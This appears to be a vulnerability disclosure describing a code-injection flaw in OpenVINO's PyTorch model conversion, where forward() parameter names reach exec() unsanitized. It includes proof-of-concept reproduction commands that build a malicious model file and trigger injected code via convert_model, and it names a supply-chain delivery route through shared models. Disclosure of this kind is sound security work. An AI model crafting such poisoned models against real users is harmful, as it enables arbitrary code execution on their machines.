Views
No views yet
src/bindings/python/src/openvino/frontend/pytorch/utils.py:204.forward() parameter names are interpolated into a Python class template and passed to exec() without sanitization.poc_exec_injection.py creates a PyTorch model with a crafted forward() parameter name containing Python code. When openvino.convert_model() processes this model, the parameter name is interpolated into the template string and exec() runs the injected code.1pip install torch openvino
2python poc_exec_injection.py
3# Creates malicious_model.pt
4
5python -c "
6import torch, openvino as ov
7model = torch.load('malicious_model.pt')
8ov.convert_model(model)
9# Injected code executes: id > /tmp/openvino-rce-proof.txt
10"
11cat /tmp/openvino-rce-proof.txt
12# Shows: uid=... output from injected commandopenvino.convert_model(). Supply chain attack via models published to HuggingFace or shared internally.